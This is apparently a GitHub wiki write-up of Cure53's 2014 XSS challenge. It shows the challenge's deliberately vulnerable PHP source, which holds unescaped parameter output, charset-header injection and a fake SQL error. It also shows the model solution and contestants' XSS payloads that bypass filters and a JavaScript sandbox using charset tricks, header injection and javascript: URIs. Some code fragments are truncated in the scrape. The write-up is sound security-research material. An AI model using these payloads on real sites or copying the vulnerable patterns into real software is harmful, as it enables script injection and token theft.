XSSMas Challenge 2014

Cure53 edited this page Feb 1, 2015 · 15 revisions


This is the writeup of the Cure53 XSSMas Challenge '14. Shown below is the source code of the challenge arena, a high-level explanation of what steps were necessary to solve it and a list of naughtiness we implemented to make the contestants lives a bit harder and wreak havoc, grief and misery upon all those who dared to participate.

We will further of course show the submissions, crown the winners and bathe them in glory and fame.

The challenge was curated by @0x6D6172696F, @filedescriptor and @mmrupp. An overall of 1.250,00 EUR will be paid out to the winners. The challenge was hosted by @cure53berlin

Over the course of the challenge, an overall of 2.325 messages was exchanged between the curators. Several hundred mails, DMs and chat messages were exchanged between curators and contestants. The planning and implementation of the challenge started on December 3rd, 2014.

Challenge Source Code

The challenge bed was written in PHP and consisted of two separate pages:


# make sure people don't traverse around on the challenge server
if($_SERVER['HTTP_HOST'] !== 'cure53.de'){
if(preg_match('/\'/', urldecode($_SERVER['QUERY_STRING']))){
    echo 'Error: SELECT betreff, text, show FROM news WHERE id = \'='.base64_decode($_SERVER['QUERY_STRING']).'\' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'FROM tokens WHERE id = \'1\'\' at line 4214';
if(rand(0,99) === 66){
    die('<h1>Hooraaaay, You are the winner!</h1><small>No, wait... our mistake. Not yet! Sorry, mate...</small>');
?><!doctype html>
<meta charset="utf-8">
<title>Cure53 XSS-Mas Challenge 2014</title>
<style>*{font-family: arial, sans-serif}</style>
<h1>Welcome to the Cure53 XSS-Mas Challenge 2014</h1>
<hr />
<p style="white-space: pre">This challenge is cruel and nasty and tricky and hard to solve. But it doesn't require you to know any browser bugs or alike.
There's several pieces you have to put together. And several mini-tasks you have to solve. And you have to keep your payload short. 

No exclusive knowledge is required, all tricks are either part of some standard or well-known.
So it's about putting those things together the right way. The short way. We do have a model solution, there is many ways to do it. 
The challenge can be solved on several modern browsers, <span title="We follow prompt.ml's model. IE10 is a go, IE9 not so much.">no legacy browsers</a> are allowed.

The challenge is curated by <a href="//twitter.com/filedescriptor">@filedescriptor</a>, <a href="//twitter.com/mmrupp">@mmrupp</a> and <a href="//twitter.com/0x6D6172696F">@0x6D6172696F</a>.
The challenge is hosted by <a href="//twitter.com/cure53berlin">@cure53berlin</a>.


<li>The winner, once determined, will receive <strong>€750 EUR</strong>. The jackpot might grow over time as it did last year.</li>
<li>The 2nd prize will be rewarded with €250 EUR. Thanks to <a href="//twitter.com/mmrupp" title="Donated €500 EUR overall!">@mmrupp</a> for donating! 
<li>The winner will also get ownership to the domain <b>xss.guru</b> from <a href="//twitter.com/irsdl">@irsdl</a>!</li>
<li><strong style="color:red">UPDATE:</strong> To avoid confusion about what counts as user interaction and what doesn't: <br>The shortest submission <u>without any</u> user interaction (no clicks, mouseovers, etc.) will win a special cash-prize independently from the actual score</li>
<h3>Tasks & Rules</h3>
<li><em>This</em> page has a vulnerable parameter you may use. Use <em>it</em> wisely.</li>
<li>Only two pages are allowed for solving the challenge. This one and the one linked below.</li>
<li>Alert the <em>secret token</em>. You will know it when you see it.</li>
<li>User interaction is <b>not</b> required. You know what we mean when you see it :)</li>
<li>The token can, if stars are aligned properly, be found here: <a href="//heideri.ch/alpudo">Gimme the token!</a></li>
<li><b>The shortest vector <span title="You know what disqualified the shark? They count the length in bytes. *Stop it, Dad* In BYTES, Coral!">(in bytes)</span> will win fame and sweet sweet money</b></li>
<li><b>The challenge ends on 31st of January 2015</b></li>
<?php echo base64_decode($_GET['it']); ?>
<h3>I did it!</h3>
<p style="white-space: pre">That is amazing! Please send your payload and an explanation how you did it to <a href="mailto:mario@cure53.de">mario@cure53.de</a>.</p>


if ($_FILES) {
    $filename = $_FILES['file']['name'];
    $name = preg_split('/\./', $filename);
    $_SESSION['filename'] = $name[0];
    $_SESSION['filetype'] = $name[1];
    header('Refresh: 0');
# separate upload and file info
    // mess with charset strings to kill UTF7, ISO and CP
    $charset = $_REQUEST['charset'] ? $_REQUEST['charset'] : 'charset';
    $charset = preg_replace('/utf/i', 'UТF', $charset);
    $charset = preg_replace('/cp/i', 'СP', $charset);
    $charset = preg_replace('/ibm/i', 'IВM', $charset);
<?php header('Content-Type: text/html; charset=' . $charset); ?>
<!doctype html>
<meta charset="utf-8">                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <span style="display:none">{{post.charset}}</span>
<title>Token Machine</title>
    history.pushState('', '', '/token-dispenser-<?php echo dechex(rand(10000000,99999999));?>/');
<?php # obfuscate the URl a bit more ?>
<?php if ($_SESSION['filename']) { ?>
    window['tοken'] = '<?php echo sha1(microtime()); ?>';
    <?php # we use cyrillic o to obfuscate and make people crazy ?>
    // This sandbox is UNBREAKABLE! REally! 
    (function(Object) {
        function recursiveFreeze(target) {
            var proto = target.__proto__;
            for (var name in target) {
                freeze(target, name);

            var list = Object.getOwnPropertyNames(target);
            for (var i = 0; i < list.length; i++) {
                name = list[i];
                freeze(target, name);

            proto && recursiveFreeze(proto);
            function freeze(target, name) {
                var whitelist = '__defineGetter__';
                if (!~whitelist.indexOf(name))try {
                    target.__defineGetter__(name, function() {});
                    Object.defineProperty(target, name, {configurable: false, value: '#'});
                } catch (e) {}
        recursiveFreeze(document); // freeze every property on document object
        recursiveFreeze(window); // freeze every property on window object
    <?php #we remove every property on window to create a 'sandbox' ?>
<?php } else { ?>
    // you cannot access the secret token quite yet
<?php } ?>
Thanks for the <i>errrm</i> fish!!
<a href="#" title="<?php echo htmlentities($_SESSION['filename']); ?>">{{$name}}</a>
<?php # injection number one ?>
<br />
<span title="<?php echo htmlentities($_SESSION['filetype']); ?>">{{$type}}</span>
<?php # injection number two, we can use HZ or alike to bypass htmlentities ?>
<br />
<many newlines>
<many newlines>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <!--because nobody likes guessing games... the name is дaтотека    -->

Model Solution

Shown below is the model solution we used a sanity check and proof-of-concept that the challenge indeed can be solved.

_=new FormData,_.append('file',Blob(),'#$B .onclick=localStorage[0]=offsetParent["innerHTML"]["slice"](173,213),location="javascript:\'<svg%20onload=alert(localStorage[0]))>\''));

What we believed to be necessary to solve the challenge were the following steps:

  • Inject into the "it" parameter
  • Use Base64 for the initial injection
  • Create an upload using Beacon and Blob
  • Upload that file to alpudo.php
  • Realize that the parameter is called file and that another parameter is called charset
  • Influence the charset and set it to something "shifty"
  • Consider filename and file extension to be injectable
  • Bypass some XSS protections using the charset
  • Run into a JavaScript sandbox
  • Bypass that via window.location string assignment
  • Then access the token with unprotected properties
  • On the way there, bypass all the nastiness we hid to confuse people

Easy, right? :) So, in essence it was an upload-charset-sandbox challenge.

Here is what we did to mess with you:

  • Several people warned us about the SQL injection in our page. That was of course fake. But also useful. Still fake.
  • Then and when, a message would show telling you you're the winner.
  • Several hidden messages were sprayed all over the arena. Some of them had meaning, others were complete bogus.
  • Alpudo is an anagram of “upload” but we spread the info it's an Italian beverage. Well, we tried and partially succeeded :D
  • We messed with the string “дaтотека” so Google translate won't give you back anything useful.
  • We used history.pushState() to make it a pain to debug the alpudo page.
  • We replaced certain characters in the charset header with Unicode lookalikes. That drove some people nuts.
  • The token variable label contained invisible Unicode whitespace.

The Submissions

Now for the most interesting part. The submissions of our fellow contestants. We'll show them in the order of length, starting with the winning vectors:

Masato Kinugawa, 292 bytes, IE11, no user interaction

<form id=f enctype=multipart/form-data method=post>PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg
<textarea name='file";filename="#$B(Bsvg onload=eval(URL) '


Masato uses a trick to simulate an upload that is only possible in MSIE - an injection to the name attribute allowing for what could be called a client-side request header injection. After that, the ISO-2022-JP is used to create crimson HTML (again, also possible in MSIE only) and builds an SVG to extract and alert the token. In addition, the sandbox is bypassed by abusing the MSIE XSS Filter! Also notice that the submission takes advantage of the fake SQL injection point instead of the intended "it" parameter. Elegant, deadly, and the winning vector of this challenge!

URL: http://tinyurl.com/kzlqr33

Pepe Vila, 295 bytes, FF35, requires a click

with(new XMLHttpRequest)open('POST',_=links[14]+'?charset=iso-2022-jp'),withCredentials=onerror=e=>location=_,
send(d=new FormData,d.append('file',
new Blob,"$B.onfocus=target=href=`javascript:alert('${offsetParent['innerHTML']['split']`'`[9]}')`"))

Pepe made second place in this challenge - only three bytes behind Masato! His solution also uses ES6 features available in FF but misses out on the "Bacon". Still, this is one of the most elegant and sophisticated submissions we have seen in the entire challenge!

URL: http://t.co/8lJwsajvvb

Mathieu Kooiman, 296 bytes, FF35

x=new FormData;q='location=v';x.append('file',new Blob,"$@.onclick="+q+"=`data:_,
<body%2520onload=alert(${offsetParent['innerHTML']['substr'](171,43)})>` ");

Mathieu's vector is a true piece of beauty. Optimized to the max, he uses FF's ES6 support to shorten his vector. Also note, that he is using the fairly new Beacon feature to upload the file. He understood what we meant with "Bacon" when giving random hints via Twitter :) An amazing vector submission that took a lot of time and dedication!

URL: http://tinyurl.com/n44hvep

Erling Ellingson, 307 bytes, FF35, requires a click

  X=new XMLHttpRequest;
    f=new FormData,
    f.append('file',new Blob,
      href=`javascript:alert(${offsetParent['innerHTML']['slice'](172,214)})` target=1"))

This is another rock-solid and elegant submission using ES6 - this time arrow functions to shorten.

URL: http://goo.gl/GzI3sN

Gábor Molnár, 318 bytes, IE11, no user interaction


Gábor's approach was mind blowing for us as he used a completely different and unexpected technique. Although the header() function of PHP strips off the common CRLF characters, he abused the fact that MSIE accepts HTTP headers separated by 0x0A only. Based on that, he injects a CORS header alongside a P3P header into the alpudo page, thereby simply bypassing our sandbox. Likewise, he also discovered that the payload can be directly injected into the fake SQL injection point. Amazing!

URL: http://goo.gl/LNV68f

Ben Hayak, 364 bytes, Chrome and Firefox!

style=zoom:99 "));a.send(f)

Ben was the first to solve the challenge. His submission works on both Chrome and Firefox! It is also worth mentioning that the submission utilizes style to enlarge the element so that it is more easier to trigger the event.

URL: http://tinyurl.com/k2vxm47

Team Alex Inführ & Rafay Baloch, 573 bytes, F35, requires a click


Decoded version:

function go() {
var x = new XMLHttpRequest;x.open('POST', '//heideri.ch/alpudo');
x.send("name=\"file\"; filename=\"$B.onclick=alert(document['scripts'][0]['innerHTML'])x=this['previousSibling']['previousSibling']['previousSibling']['previousSibling']['previousSibling']['previousSibling']['previousSibling']['innerHTML'];\"\r\n");

Note, that the two gentlemen found a way to bypass the JavaScript sandbox on Firefox by using a URL with username (HTTP Basic Auth). This breaks history.pushState() and therefore kills the sandbox. A trick that might be of high value one day.

URL: http://goo.gl/KQVqJ9

Closing Notes

The challenge experienced some turbulence because of the question, what kind of user interaction we allow. In fact, we allowed user interaction from the start but only stated in the rules that it's not required. That was not ideal, we should have been more clear with that as, understandably, some contestants were pissed off.

Another f***up we delivered was not to test the sandbox for the challenge on IE10. But permitted IE10 to be used. And then had to tell people that their solutions are not valid because... we messed this up. We are sorry for that but hope that we managed to save ourselves with some smart rhetoric and a prize update to keep things as fair as possible. So, thanks to those who wasted time on our mistakes and still continued playing, you're the real MVP :)

We hope everyone had fun. We did, hell, and we learned a lot! Now we hope you did too by reading this write-up :)

Let us know if you liked it and if we should do it again next year!

You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.
Press h to open a hovercard with more details.